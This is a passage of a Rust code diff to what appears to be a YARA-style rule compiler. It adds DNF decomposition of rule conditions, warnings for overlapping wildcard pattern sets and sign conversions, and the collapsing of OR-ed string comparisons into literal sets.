/// condition. + /// + /// Returns `None` if the number of branches exceeds `MAX_BRANCHES`. + pub fn from_expr(expr: &'src ast::Expr<'src>) -> Option { + Self::extract_branches(expr).map(|branches| Self { branches }) + } + + /// Returns the slice of conjunctive branches. + #[inline] + pub fn branches(&self) -> &[ConjunctiveBranch<'src>] { + &self.branches + } + + /// Decomposes an AST expression tree into Disjunctive Normal Form (DNF) + /// conjunctive branches using an explicit, non-recursive stack frame loop. + /// + /// # How the Algorithm Works + /// + /// The algorithm transforms a boolean AST (e.g. `(A or B) and C`) into + /// alternative execution paths (e.g. `[A, C]` and `[B, C]`), where each + /// path (`ConjunctiveBranch`) contains terms that must evaluate to true + /// simultaneously. + /// + /// The traversal uses an explicit stack of `Frame`s instead of call-stack + /// recursion: + /// + /// - `Frame::Sequence` (Accumulating Conjunctions): Traverses sub-expressions + /// sequentially. Each expression inherits the `branches` accumulated by its + /// predecessor. Terminal leaf expressions append themselves to every active + /// branch in `branches`. + /// + /// - `Frame::Disjunction` (Forking `OR` Alternatives): Evaluates `OR` + /// operands independently. Each operand receives a cloned snapshot of the + /// input `branches`. The alternative branches generated by each operand are + /// combined into `results` and returned to the parent frame. + /// + /// When a frame completes, `pass_branches_to_parent` passes its branches to + /// the parent frame on the stack. Returns `None` if the total output branches + /// exceed `MAX_BRANCHES` (256) at any point. + fn extract_branches( + root: &'src ast::Expr<'src>, + ) -> Option>> { + let mut stack = vec![Frame::Sequence { + exprs: Box::new(iter::once(root)), + branches: vec![ConjunctiveBranch::default()], + }]; + + while let Some(frame) = stack.pop() { + match frame { + Frame::Disjunction { mut operands, branches, results } => { + match operands.next() { + Some(op) => { + stack.push(Frame::Disjunction { + operands, + branches: branches.clone(), + results, + }); + stack.push(Frame::Sequence { + exprs: Box::new(iter::once(op)), + branches, + }); + } + None => { + if let ControlFlow::Break(result) = + Self::pass_branches_to_parent( + &mut stack, results, + ) + { + return result; + } + } + } + } + Frame::Sequence { mut exprs, mut branches } => { + match exprs.next() { + Some(expr) => { + stack.push(Frame::Sequence { + exprs, + branches: Vec::new(), + }); + match expr { + ast::Expr::Or(nary) => { + stack.push(Frame::Disjunction { + operands: Box::new(nary.operands()), + branches, + results: Vec::new(), + }); + } + _ => { + let push_leaf = matches!( + expr, + ast::Expr::ForOf(_) + | ast::Expr::True { .. } + | ast::Expr::False { .. } + | ast::Expr::Filesize { .. } + | ast::Expr::Entrypoint { .. } + | ast::Expr::LiteralString(_) + | ast::Expr::LiteralInteger(_) + | ast::Expr::LiteralFloat(_) + | ast::Expr::Regexp(_) + | ast::Expr::Ident(_) + | ast::Expr::PatternMatch(_) + | ast::Expr::PatternCount(_) + | ast::Expr::PatternOffset(_) + | ast::Expr::PatternLength(_) + | ast::Expr::Of(_) + ); + // Every active branch in `branches` gets the + // leaf expression pushed onto its `.exprs` list. + if push_leaf { + for b in &mut branches { + b.exprs.push(expr); + } + } + stack.push(Frame::Sequence { + exprs: expr.children(), + branches, + }); + } + } + } + None => { + if let ControlFlow::Break(result) = + Self::pass_branches_to_parent( + &mut stack, branches, + ) + { + return result; + } + } + } + } + } + } + + // Unreachable: the stack loop always terminates when + // pass_branches_to_parent evaluates the top-level root frame and + // returns ControlFlow::Break. + unreachable!() + } + + /// Passes finished conjunctive branches from a completed frame to its parent + /// frame on the stack. If there is no parent frame remaining (i.e. top-level + /// root frame completed), returns `ControlFlow::Break(Some(finished_branches))`. + /// Returns `ControlFlow::Break(None)` if `MAX_BRANCHES` is exceeded. + fn pass_branches_to_parent( + stack: &mut [Frame<'src>], + finished: Vec>, + ) -> ControlFlow>>> { + if finished.len() > Self::MAX_BRANCHES { + return ControlFlow::Break(None); + } + + let finished = if finished.is_empty() { + vec![ConjunctiveBranch::default()] + } else { + finished + }; + + if let Some(parent) = stack.last_mut() { + match parent { + Frame::Disjunction { results, .. } => { + // Collect alternative branches from this disjunction operand + results.extend(finished); + if results.len() > Self::MAX_BRANCHES { + return ControlFlow::Break(None); + } + } + Frame::Sequence { branches, .. } => { + // Update sequential input branches for the next sibling child + *branches = finished; + } + } + ControlFlow::Continue(()) + } else { + ControlFlow::Break(Some(finished)) + } + } +} + +/// Checks wildcard pattern set items (e.g. `$s*`) for patterns that are +/// included in the set but also explicitly used outside the set in the same +/// conjunctive branch (expressions that must be true at the same time), or +/// matched by another set with a more specific (longer) prefix in the same +/// branch. +fn check_unintended_patterns_in_sets<'src>( + ctx: &mut CompileContext<'_, 'src>, + condition: &'src ast::Expr<'src>, +) { + // Decompose condition AST into DNF execution paths (conjunctive branches). + let Some(conjunctive_branches) = ConjunctiveBranches::from_expr(condition) + else { + return; + }; + let mut reported = std::collections::HashSet::new(); + + for branch in conjunctive_branches.branches() { + let mut explicit_patterns = Vec::new(); + let mut wildcard_pattern_sets = Vec::new(); + + // Extract explicit pattern presence checks and wildcard pattern sets + // active within this specific conjunctive branch. + for expr in branch.exprs() { + match expr { + // Direct pattern match (e.g. `$s1` or `$s1 at 100`). + ast::Expr::PatternMatch(pm) + if !pm.identifier.name.is_empty() => + { + explicit_patterns + .push((pm.identifier.name, pm.identifier.span())); + } + // Pattern set in `of` expressions (e.g. `1 of ($s1, $s*)`). + ast::Expr::Of(of) => { + if let ast::OfItems::PatternSet(ast::PatternSet::Set( + set, + )) = &of.items + { + for item in set { + if item.wildcard { + wildcard_pattern_sets + .push((item.identifier, item.span())); + } else { + explicit_patterns + .push((item.identifier, item.span())); + } + } + } + } + // Pattern set in `for ... of` loops. + ast::Expr::ForOf(for_of) => { + if let ast::PatternSet::Set(set) = &for_of.pattern_set { + for item in set { + if item.wildcard { + wildcard_pattern_sets + .push((item.identifier, item.span())); + } else { + explicit_patterns + .push((item.identifier, item.span())); + } + } + } + } + _ => {} + } + } + + // For each wildcard pattern set in this branch, check if any rule + // pattern matching the set's prefix is also explicitly used in the + // same branch, or matched by a longer (more specific) prefix set. + for (s1, span1) in &wildcard_pattern_sets { + for pattern in ctx.current_rule_patterns.iter() { + let pat = pattern.identifier().name; + if pat.starts_with(s1) { + let (label1, span1, label2, span2) = + if let Some((_, span2)) = explicit_patterns + .iter() + .find(|(name, _)| *name == pat) + { + if span1.start() < span2.start() { + ( + format!("`{pat}` is included in `{s1}*`"), + span1, + format!("`{pat}` is also used here"), + span2, + ) + } else { + ( + format!("`{pat}` is used here"), + span2, + format!( + "`{pat}` is also included in `{s1}*`" + ), + span1, + ) + } + } else if let Some((s2, span2)) = wildcard_pattern_sets + .iter() + .find(|(prefix2, _)| { + prefix2.len() > s1.len() + && pat.starts_with(prefix2) + }) + { + if span1.start() < span2.start() { + ( + format!("`{pat}` is included in `{s1}*`"), + span1, + format!( + "`{pat}` is also included in `{s2}*`" + ), + span2, + ) + } else { + ( + format!("`{pat}` is included in `{s2}*`"), + span2, + format!( + "`{pat}` is also included in `{s1}*`" + ), + span1, + ) + } + } else { + continue; + }; + + if reported.insert((pat, span1.clone())) { + ctx.warnings.add(|| { + warnings::UnintendedPatternInSet::build( + ctx.report_builder, + pat.to_string(), + format!("{s1}*"), + label1, + ctx.report_builder + .span_to_code_loc(span1.clone()), + label2, + ctx.report_builder + .span_to_code_loc(span2.clone()), + ) + }); + } + } + } + } + } +} + +fn func_call_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + func_call: &ast::FuncCall<'src>, ) -> Result { let mut object = if let Some(obj) = &func_call.object { let expr = expr_from_ast(ctx, obj)?; @@ -1954,6 +2510,22 @@ fn func_call_from_ast( let matching_signature = matching_signature.unwrap(); + // Arguments are passed to functions as they are, so an unsigned constant + // greater than i64::MAX is received as a negative number by a function + // that expects a signed integer. In methods, the first argument in the + // signature is the object, which doesn't appear among the arguments. + let params = if matching_signature.method_of().is_some() { + &matching_signature.args[1..] + } else { + &matching_signature.args[..] + }; + + for ((arg, ast_arg), (_, param)) in + iter::zip(iter::zip(&args, &func_call.args), params) + { + warn_if_sign_conversion(ctx, *arg, ast_arg.span(), param); + } + // The object is necessary only when this is a method call, if this // is a function call no object is required. if matching_signature.method_of().is_none() { @@ -1963,9 +2535,9 @@ fn func_call_from_ast( Ok(ctx.ir.func_call(object, args, matching_signature.clone())) } -fn matches_expr_from_ast( - ctx: &mut CompileContext, - expr: &ast::BinaryExpr, +fn matches_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::BinaryExpr<'src>, ) -> Result { let lhs_span = expr.lhs.span(); let rhs_span = expr.rhs.span(); @@ -2144,12 +2716,36 @@ fn re_error_to_compile_error( } } -/// Produce a warning if the expression is not boolean. -pub(in crate::compiler) fn warn_if_not_bool( +/// Raises a [`warnings::UnsignedUnaryOperation`] warning if `operand` is an +/// unsigned integer. `operator` is the unary operator applied to `operand`, +/// either `-` or `~`. +fn warn_if_unsigned( ctx: &mut CompileContext, - ty: Type, + operand: ExprId, span: Span, + operator: char, ) { + if ctx.ir.get(operand).type_value().is_unsigned() { + ctx.warnings.add(|| { + let note = match operator { + '-' => "the result is a signed integer, which wraps around if the unsigned value is greater than 0x7FFFFFFFFFFFFFFF", + '~' => "the result is an unsigned integer with all its 64 bits inverted", + _ => unreachable!("unexpected unary operator `{operator}`"), + }; + warnings::UnsignedUnaryOperation::build( + ctx.report_builder, + operator.to_string(), + ctx.report_builder.span_to_code_loc(span), + Some(note.to_string()), + ) + }); + } +} + +/// Raises a [`warnings::NonBooleanAsBoolean`] warning if `expr` is not +/// boolean. +fn warn_if_not_bool(ctx: &mut CompileContext, expr: ExprId, span: Span) { + let ty = ctx.ir.get(expr).ty(); if !matches!(ty, Type::Bool) { ctx.warnings.add(|| { let note = match ty { @@ -2177,11 +2773,53 @@ pub(in crate::compiler) fn warn_if_not_bool( } } +/// Raises a [`warnings::SignConversion`] warning if `expr` is an integer +/// constant that changes its value when converted to the type of `target`. +/// +/// This happens with negative constants converted to unsigned, and with +/// unsigned constants greater than `i64::MAX` converted to signed. Unsigned +/// targets are the result of mixing signed and unsigned integers, while +/// signed targets are function arguments. +fn warn_if_sign_conversion( + ctx: &mut CompileContext, + expr: ExprId, + span: Span, + target: &TypeValue, +) { + if target.ty() != Type::Integer { + return; + } + + let Some(value) = ctx.ir.get(expr).type_value().try_as_const_i128() else { + return; + }; + + let (converted_value, note) = if target.is_unsigned() && value < 0 { + ( + (value as u64).to_string(), + "signed integers are converted to unsigned when mixed with unsigned integers", + ) + } else if !target.is_unsigned() && value > i64::MAX as i128 { + ((value as i64).to_string(), "the function expects a signed integer") + } else { + return; + }; + + ctx.warnings.add(|| { + warnings::SignConversion::build( + ctx.report_builder, + converted_value, + ctx.report_builder.span_to_code_loc(span), + Some(note.to_string()), + ) + }); +} + macro_rules! gen_unary_op { ($name:ident, $variant:ident, $( $accepted_types:path )|+, $check_fn:expr) => { - fn $name( - ctx: &mut CompileContext, - expr: &ast::UnaryExpr, + fn $name<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::UnaryExpr<'src>, ) -> Result { let operand = expr_from_ast(ctx, &expr.operand)?; @@ -2207,9 +2845,9 @@ macro_rules! gen_unary_op { macro_rules! gen_binary_op { ($name:ident, $variant:ident, $( $accepted_types:path )|+, $compatible_types:expr, $check_fn:expr) => { - fn $name( - ctx: &mut CompileContext, - expr: &ast::BinaryExpr, + fn $name<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::BinaryExpr<'src>, ) -> Result { let lhs_span = expr.lhs.span(); let rhs_span = expr.rhs.span(); @@ -2242,9 +2880,9 @@ macro_rules! gen_binary_op { macro_rules! gen_string_op { ($name:ident, $variant:ident) => { - fn $name( - ctx: &mut CompileContext, - expr: &ast::BinaryExpr, + fn $name<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::BinaryExpr<'src>, ) -> Result { let lhs_span = expr.lhs.span(); let rhs_span = expr.rhs.span(); @@ -2268,10 +2906,10 @@ macro_rules! gen_string_op { } macro_rules! gen_n_ary_operation { - ($name:ident, $variant:ident, $( $accepted_types:path )|+, $compatible_types:expr, $check_fn:expr) => { - fn $name( - ctx: &mut CompileContext, - expr: &ast::NAryExpr, + ($name:ident, $variant:ident, $( $accepted_types:path )|+, $compatible_types:expr, $check_fn:expr, $operands_check_fn:expr) => { + fn $name<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::NAryExpr<'src>, ) -> Result { let span = expr.span(); let accepted_types = &[$( $accepted_types ),+]; @@ -2307,6 +2945,18 @@ macro_rules! gen_n_ary_operation { )?; } + // Unlike `check_fn`, which checks the operands one by one, + // `operands_check_fn` receives all the operands at once. + let operands_check_fn: + Option Result<(), CompileError>> + = $operands_check_fn; + + if let Some(operands_check_fn) = operands_check_fn { + let spans: Vec = + expr.operands().map(|operand| operand.span()).collect(); + operands_check_fn(ctx, &operands_hir, &spans)?; + } + ctx.ir.$variant(operands_hir).map_err(|err| { match err { Error::NumberOutOfRange => { @@ -2338,8 +2988,7 @@ gen_unary_op!( Type::Bool | Type::Integer | Type::Float | Type::String, // Raise warning if the operand is not bool. Some(|ctx, operand, span| { - let ty = ctx.ir.get(operand).ty(); - warn_if_not_bool(ctx, ty, span); + warn_if_not_bool(ctx, operand, span); Ok(()) }) ); @@ -2361,15 +3010,15 @@ gen_n_ary_operation!( (Type::Float, Type::Bool) ], Some(|ctx, operand, span| { - let ty = ctx.ir.get(operand).ty(); - warn_if_not_bool(ctx, ty, span); + warn_if_not_bool(ctx, operand, span); Ok(()) - }) + }), + None ); -fn or_expr_from_ast( - ctx: &mut CompileContext, - expr: &ast::NAryExpr, +fn or_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::NAryExpr<'src>, ) -> Result { let span = expr.span(); let accepted_types = @@ -2392,8 +3041,7 @@ fn or_expr_from_ast( .collect::, CompileError>>()?; for (hir, ast) in iter::zip(or_operands.iter(), expr.operands()) { - let ty = ctx.ir.get(*hir).ty(); - warn_if_not_bool(ctx, ty, ast.span()); + warn_if_not_bool(ctx, *hir, ast.span()); } for ((lhs_hir, lhs_ast), (rhs_hir, rhs_ast)) in @@ -2410,50 +3058,185 @@ fn or_expr_from_ast( )?; } - // Group `matches` expressions by their left-side operand. All the `matches` - // expressions sharing the same left-side operand will be aggregated together - // into a MatchMany operation that matches the left-side operand against - // a set of regular expressions. - let mut matches_by_lhs: FxHashMap> = - FxHashMap::default(); + let final_operands = collapse_or_operands(ctx, &or_operands); + + if final_operands.len() == 1 { + return Ok(final_operands[0]); + } + + ctx.ir.or(final_operands).map_err(|err| match err { + Error::NumberOutOfRange => NumberOutOfRange::build( + ctx.report_builder, + i64::MIN, + i64::MAX, + ctx.report_builder.span_to_code_loc(span), + ), + }) +} + +/// Analyzes the operands of an `or` expression and collapses multiple `matches` +/// or string comparison operations sharing the same target operand and operator +/// into a single `*Many` expression backed by a `RegexSet` or `LiteralSet`. +fn collapse_or_operands( + ctx: &mut CompileContext, + or_operands: &[ExprId], +) -> Vec { + #[derive(Clone, Copy, PartialEq, Eq, Hash)] + enum OpKind { + Matches, + Eq, + IEquals, + Contains, + IContains, + StartsWith, + IStartsWith, + EndsWith, + IEndsWith, + } + + let is_const_str = |expr: &Expr| { + matches!(expr, Expr::Const(TypeValue::String { value: Const(_), .. })) + }; + + // Group `matches` and string comparison expressions by their operator kind + // and target operand hash. + let mut groups = IndexMap::new(); for (i, &op) in or_operands.iter().enumerate() { - if let Expr::Matches { lhs, rhs } = ctx.ir.get(op) - && let Expr::Const(TypeValue::Regexp(Some(re))) = ctx.ir.get(*rhs) - { + let matched = match ctx.ir.get(op) { + Expr::Matches { lhs, rhs } + if matches!( + ctx.ir.get(*rhs), + Expr::Const(TypeValue::Regexp(Some(_))) + ) => + { + Some((OpKind::Matches, *lhs, *rhs)) + } + Expr::Eq { lhs, rhs } => { + if is_const_str(ctx.ir.get(*rhs)) { + Some((OpKind::Eq, *lhs, *rhs)) + } else if is_const_str(ctx.ir.get(*lhs)) { + Some((OpKind::Eq, *rhs, *lhs)) + } else { + None + } + } + Expr::IEquals { lhs, rhs } => { + if is_const_str(ctx.ir.get(*rhs)) { + Some((OpKind::IEquals, *lhs, *rhs)) + } else if is_const_str(ctx.ir.get(*lhs)) { + Some((OpKind::IEquals, *rhs, *lhs)) + } else { + None + } + } + Expr::Contains { lhs, rhs } if is_const_str(ctx.ir.get(*rhs)) => { + Some((OpKind::Contains, *lhs, *rhs)) + } + Expr::IContains { lhs, rhs } if is_const_str(ctx.ir.get(*rhs)) => { + Some((OpKind::IContains, *lhs, *rhs)) + } + Expr::StartsWith { lhs, rhs } + if is_const_str(ctx.ir.get(*rhs)) => + { + Some((OpKind::StartsWith, *lhs, *rhs)) + } + Expr::IStartsWith { lhs, rhs } + if is_const_str(ctx.ir.get(*rhs)) => + { + Some((OpKind::IStartsWith, *lhs, *rhs)) + } + Expr::EndsWith { lhs, rhs } if is_const_str(ctx.ir.get(*rhs)) => { + Some((OpKind::EndsWith, *lhs, *rhs)) + } + Expr::IEndsWith { lhs, rhs } if is_const_str(ctx.ir.get(*rhs)) => { + Some((OpKind::IEndsWith, *lhs, *rhs)) + } + _ => None, + }; + + if let Some((kind, lhs, rhs)) = matched { let mut hasher = FxHasher::default(); - for evt in ctx.ir.dfs_iter(*lhs) { + for evt in ctx.ir.dfs_iter(lhs) { if let dfs::Event::Enter((_, expr, _)) = evt { Hash::hash(expr, &mut hasher); } } let lhs_expr_hash = hasher.finish(); - let re_id = ctx.regex_pool.get_or_intern(re.as_str()); - matches_by_lhs - .entry(lhs_expr_hash) - .or_default() - .push((i, *lhs, re_id)); + groups + .entry((kind, lhs_expr_hash)) + .or_insert_with(Vec::new) + .push((i, lhs, rhs)); } } - // Collapse grouped regular expressions into `MatchesMany`. For any target - // expression associated with two or more regular expressions, construct a - // unified `RegexSet`, replace the individual `matches` nodes with a single - // `MatchesMany` expression, and record the collapsed indices. let mut final_operands = Vec::new(); let mut collapsed_indices = FxHashSet::default(); - for (_, group) in matches_by_lhs { + for ((kind, _), group) in groups { if group.len() >= 2 { - let set_id = RegexSetId::from(ctx.regex_sets.len() as i32); - let re_ids: Vec<_> = - group.iter().map(|&(_, _, re_id)| re_id).collect(); - ctx.regex_sets.insert(set_id, re_ids); - let first_lhs = group[0].1; - let multimatch = ctx.ir.matches_regex_set(first_lhs, set_id); + let collapsed_expr = if kind == OpKind::Matches { + let parser = re::parser::Parser::new() + .relaxed_re_syntax(ctx.relaxed_re_syntax); + let mut hirs = Vec::with_capacity(group.len()); + let mut re_ids = Vec::with_capacity(group.len()); + + for &(_, _, rhs) in &group { + let re = ctx.ir.get(rhs).as_const().as_regexp(); + // `unwrap()` is safe because `re` comes from an + // `ast::Expr::Regexp` operand that was already parsed and + // validated with the same `relaxed_re_syntax` setting. + hirs.push(parser.parse(re).unwrap()); + re_ids.push(ctx.regex_pool.get_or_intern(re.as_str())); + } - final_operands.push(multimatch); + // Skip collapsing into `MatchesMany` if the combined NFA would + // exceed the size limit, keeping the individual `Matches` + // expressions intact. + if re::hir::Hir::build_automata(&hirs).is_err() { + continue; + } + + let set_id = RegexSetId::from(ctx.regex_sets.len() as i32); + ctx.regex_sets.insert(set_id, re_ids); + ctx.ir.matches_regex_set(first_lhs, set_id) + } else { + let set_id = LiteralSetId::from(ctx.literal_sets.len() as i32); + let lit_ids: Vec<_> = group + .iter() + .map(|&(_, _, rhs)| { + let s = ctx.ir.get(rhs).as_const().as_string(); + ctx.literal_pool.get_or_intern(s.as_bstr()) + }) + .collect(); + ctx.literal_sets.insert(set_id, lit_ids); + match kind { + OpKind::Eq => ctx.ir.eq_many(first_lhs, set_id), + OpKind::IEquals => ctx.ir.iequals_many(first_lhs, set_id), + OpKind::Contains => { + ctx.ir.contains_many(first_lhs, set_id) + } + OpKind::IContains => { + ctx.ir.icontains_many(first_lhs, set_id) + } + OpKind::StartsWith => { + ctx.ir.starts_with_many(first_lhs, set_id) + } + OpKind::IStartsWith => { + ctx.ir.istarts_with_many(first_lhs, set_id) + } + OpKind::EndsWith => { + ctx.ir.ends_with_many(first_lhs, set_id) + } + OpKind::IEndsWith => { + ctx.ir.iends_with_many(first_lhs, set_id) + } + OpKind::Matches => unreachable!(), + } + }; + + final_operands.push(collapsed_expr); for (i, _, _) in group { collapsed_indices.insert(i); @@ -2461,37 +3244,56 @@ fn or_expr_from_ast( } } - // Assemble final operands and construct the `or` expression. Preserve all - // non-collapsed operands in their original relative order. If all operands - // collapse into a single expression, return it directly without a wrapping - // `or` node. + // Preserve all non-collapsed operands in their original relative order. for (i, &op) in or_operands.iter().enumerate() { if !collapsed_indices.contains(&i) { final_operands.push(op); } } - if final_operands.len() == 1 { - return Ok(final_operands[0]); - } + final_operands +} - ctx.ir.or(final_operands).map_err(|err| match err { +fn minus_expr_from_ast<'src>( + ctx: &mut CompileContext<'_, 'src>, + expr: &ast::UnaryExpr<'src>, +) -> Result { + let operand = expr_from_ast(ctx, &expr.operand)?; + + check_type( + ctx, + operand, + expr.operand.span(), + &[Type::Integer, Type::Float], + )?; + + // Negating a constant fails if the result doesn't fit in a signed + // integer, as in `-(-9223372036854775808)` or `-(0xFFFFFFFFFFFFFFFF)`. + let minus = ctx.ir.minus(operand).map_err(|err| match err { Error::NumberOutOfRange => NumberOutOfRange::build( ctx.report_builder, i64::MIN, i64::MAX, - ctx.report_builder.span_to_code_loc(span), + ctx.report_builder.span_to_code_loc(expr.span()), ), - }) -} + })?; -gen_unary_op!(minus_expr_from_ast, minus, Type::Integer | Type::Float, None); + warn_if_unsigned(ctx, operand, expr.operand.span(), '-'); + Ok(minus) +} + +// In additions, subtractions and multiplications, converting a negative +// constant to unsigned doesn't change the result, because these operations +// produce the same bits with signed and unsigned operands. For instance, +// `uint64(0) + -1` is the same as `uint64(0) - 1`. This is not true for +// divisions and remainders, which are checked by `div_check`. gen_n_ary_operation!( add_expr_from_ast, add, Type::Integer | Type::Float, &[(Type::Integer, Type::Float)], + None, None ); @@ -2500,6 +3302,7 @@ gen_n_ary_operation!( sub, Type::Integer | Type::Float, &[(Type::Integer, Type::Float)], + None, None ); @@ -2508,6 +3311,7 @@ gen_n_ary_operation!( mul, Type::Integer | Type::Float, &[(Type::Integer, Type::Float)], + None, None ); @@ -2516,12 +3320,28 @@ gen_n_ary_operation!( div, Type::Integer | Type::Float, &[(Type::Integer, Type::Float)], - None + None, + Some(div_check) ); -gen_n_ary_operation!(mod_expr_from_ast, modulus, Type::Integer, &[], None); +gen_n_ary_operation!( + mod_expr_from_ast, + modulus, + Type::Integer, + &[], + None, + Some(div_check) +); -gen_unary_op!(bitwise_not_expr_from_ast, bitwise_not, Type::Integer, None); +gen_unary_op!( + bitwise_not_expr_from_ast, + bitwise_not, + Type::Integer, + Some(|ctx, operand, span| { + warn_if_unsigned(ctx, operand, span, '~'); + Ok(()) + }) +); gen_binary_op!(shl_expr_from_ast, shl, Type::Integer, &[], Some(shx_check)); gen_binary_op!(shr_expr_from_ast, shr, Type::Integer, &[], Some(shx_check)); @@ -2719,42 +3539,61 @@ fn eq_check( } }; - let check_integer_constraints = + let check_integer_range = |ctx: &mut CompileContext, - const_integer: i64, + const_integer: i128, const_integer_span: Span, - constraints: Vec, - constrained_integer_span: Span| { - for constraint in constraints { - match constraint { - IntegerConstraint::Range(min, max) - if !(min..=max).contains(&const_integer) => - { - ctx.warnings.add(|| { - UnsatisfiableExpression::build( - ctx.report_builder, - format!( - "this expression is an integer in the range [{min},{max}]", - ), - format!( - "this integer is outside the range [{min},{max}]", - ), - ctx.report_builder.span_to_code_loc( - constrained_integer_span.clone(), - ), - ctx.report_builder.span_to_code_loc( - const_integer_span.clone(), - ), - None, - ) - }); - } - - _ => {} - } + (min, max): (i128, i128), + ranged_integer_span: Span| { + if !(min..=max).contains(&const_integer) { + ctx.warnings.add(|| { + UnsatisfiableExpression::build( + ctx.report_builder, + format!( + "this expression is an integer in the range [{min},{max}]", + ), + format!( + "this integer is outside the range [{min},{max}]", + ), + ctx.report_builder + .span_to_code_loc(ranged_integer_span.clone()), + ctx.report_builder + .span_to_code_loc(const_integer_span.clone()), + None, + ) + }); } }; + // Integer constants compared with non-constant integers, whose values + // are limited to the range of their types. Both the constant and the + // non-constant integer can be signed or unsigned. Comparisons between + // two constants are not checked, the range of a constant's type is + // irrelevant because its value is known. + if !rhs.is_const() + && let (Some(const_integer), Some(range)) = + (lhs.try_as_const_i128(), rhs.integer_range()) + { + check_integer_range( + ctx, + const_integer, + lhs_span.clone(), + range, + rhs_span.clone(), + ); + } else if !lhs.is_const() + && let (Some(range), Some(const_integer)) = + (lhs.integer_range(), rhs.try_as_const_i128()) + { + check_integer_range( + ctx, + const_integer, + rhs_span.clone(), + range, + lhs_span.clone(), + ); + } + match (lhs, rhs, lhs_span, rhs_span) { ( TypeValue::String { value: Const(const_string), .. }, @@ -2774,24 +3613,6 @@ fn eq_check( constraints, constrained_string_span, ), - ( - TypeValue::Integer { value: Const(const_integer), .. }, - TypeValue::Integer { constraints: Some(constraints), .. }, - const_integer_span, - constrained_integer_span, - ) - | ( - TypeValue::Integer { constraints: Some(constraints), .. }, - TypeValue::Integer { value: Const(const_integer), .. }, - constrained_integer_span, - const_integer_span, - ) => check_integer_constraints( - ctx, - const_integer, - const_integer_span, - constraints, - constrained_integer_span, - ), _ => {} }; @@ -2806,8 +3627,7 @@ fn shx_check( _lhs_span: Span, rhs_span: Span, ) -> Result<(), CompileError> { - if let TypeValue::Integer { value: Const(value), .. } = - ctx.ir.get(rhs).type_value() + if let Some(value) = ctx.ir.get(rhs).type_value().try_as_const_i128() && value < 0 { return Err(UnexpectedNegativeNumber::build( @@ -2817,3 +3637,44 @@ fn shx_check( } Ok(()) } + +/// Checks the operands for division and remainder operations. +/// +/// The operations in an expression like `a \ b \ c` are performed from left +/// to right, and each of them is unsigned if any of the operands involved so +/// far is unsigned. Negative constants that participate in an unsigned +/// operation are converted to unsigned, which changes their values. Those are +/// the right operand of each operation, and the left operand of the first one. +/// Once a float is involved, the remaining operations are performed with +/// floats and no conversion to unsigned takes place. +fn div_check( + ctx: &mut CompileContext, + operands: &[ExprId], + spans: &[Span], +) -> Result<(), CompileError> { + let unsigned = TypeValue::unknown_unsigned_integer(); + + for i in 1..operands.len() { + let involved = &operands[..=i]; + + if involved.iter().any(|op| ctx.ir.get(*op).ty() == Type::Float) { + break; + } + + if ctx.ir.is_unsigned_result(involved) { + let first = if i == 1 { 0 } else { i }; + for (operand, span) in + iter::zip(&operands[first..=i], &spans[first..=i]) + { + warn_if_sign_conversion( + ctx, + *operand, + span.clone(), + &unsigned, + ); + } + } + } + + Ok(()) +} diff --git a/lib/src/compiler/ir/dfs.rs b/lib/src/compiler/ir/dfs.rs index 5e49d35ce..4cb7e8981 100644 --- a/lib/src/compiler/ir/dfs.rs +++ b/lib/src/compiler/ir/dfs.rs @@ -239,8 +239,7 @@ pub(super) fn dfs_common( Quantifier::None => {} Quantifier::All => {} Quantifier::Any => {} - Quantifier::Percentage(_) => {} - Quantifier::Expr(expr) => { + Quantifier::Percentage(expr) | Quantifier::Expr(expr) => { stack.push(Event::Enter((*expr, EventContext::None))) } }; @@ -264,7 +263,7 @@ pub(super) fn dfs_common( Expr::Not { operand } | Expr::Defined { operand } | Expr::Minus { operand, .. } - | Expr::BitwiseNot { operand } => { + | Expr::BitwiseNot { operand, .. } => { stack.push(Event::Enter((*operand, EventContext::None))); } @@ -286,11 +285,11 @@ pub(super) fn dfs_common( | Expr::Gt { lhs, rhs } | Expr::Le { lhs, rhs } | Expr::Lt { lhs, rhs } - | Expr::Shl { lhs, rhs } - | Expr::Shr { lhs, rhs } - | Expr::BitwiseAnd { lhs, rhs } - | Expr::BitwiseOr { lhs, rhs } - | Expr::BitwiseXor { lhs, rhs } + | Expr::Shl { lhs, rhs, .. } + | Expr::Shr { lhs, rhs, .. } + | Expr::BitwiseAnd { lhs, rhs, .. } + | Expr::BitwiseOr { lhs, rhs, .. } + | Expr::BitwiseXor { lhs, rhs, .. } | Expr::Contains { lhs, rhs } | Expr::IContains { lhs, rhs } | Expr::StartsWith { lhs, rhs } @@ -303,7 +302,15 @@ pub(super) fn dfs_common( stack.push(Event::Enter((*lhs, EventContext::None))); } - Expr::MatchesMany { lhs, .. } => { + Expr::MatchesMany { lhs, .. } + | Expr::EqMany { lhs, .. } + | Expr::IEqualsMany { lhs, .. } + | Expr::ContainsMany { lhs, .. } + | Expr::IContainsMany { lhs, .. } + | Expr::StartsWithMany { lhs, .. } + | Expr::IStartsWithMany { lhs, .. } + | Expr::EndsWithMany { lhs, .. } + | Expr::IEndsWithMany { lhs, .. } => { stack.push(Event::Enter((*lhs, EventContext::None))); } @@ -420,9 +427,9 @@ mod tests { fn dfs() { let mut ir = IR::new(); - let const_1 = ir.constant(TypeValue::const_integer_from(1)); - let const_2 = ir.constant(TypeValue::const_integer_from(2)); - let const_3 = ir.constant(TypeValue::const_integer_from(2)); + let const_1 = ir.constant(TypeValue::const_signed_integer_from(1)); + let const_2 = ir.constant(TypeValue::const_signed_integer_from(2)); + let const_3 = ir.constant(TypeValue::const_signed_integer_from(2)); let add = ir.add(vec![const_2, const_3]).unwrap(); let root = ir.add(vec![const_1, add]).unwrap(); @@ -586,9 +593,9 @@ mod tests { fn dfs_mut() { let mut ir = IR::new(); - let const_1 = ir.constant(TypeValue::const_integer_from(1)); - let const_2 = ir.constant(TypeValue::const_integer_from(2)); - let const_3 = ir.constant(TypeValue::const_integer_from(2)); + let const_1 = ir.constant(TypeValue::const_signed_integer_from(1)); + let const_2 = ir.constant(TypeValue::const_signed_integer_from(2)); + let const_3 = ir.constant(TypeValue::const_signed_integer_from(2)); let add = ir.add(vec![const_2, const_3]).unwrap(); let root = ir.add(vec![const_1, add]).unwrap(); @@ -613,7 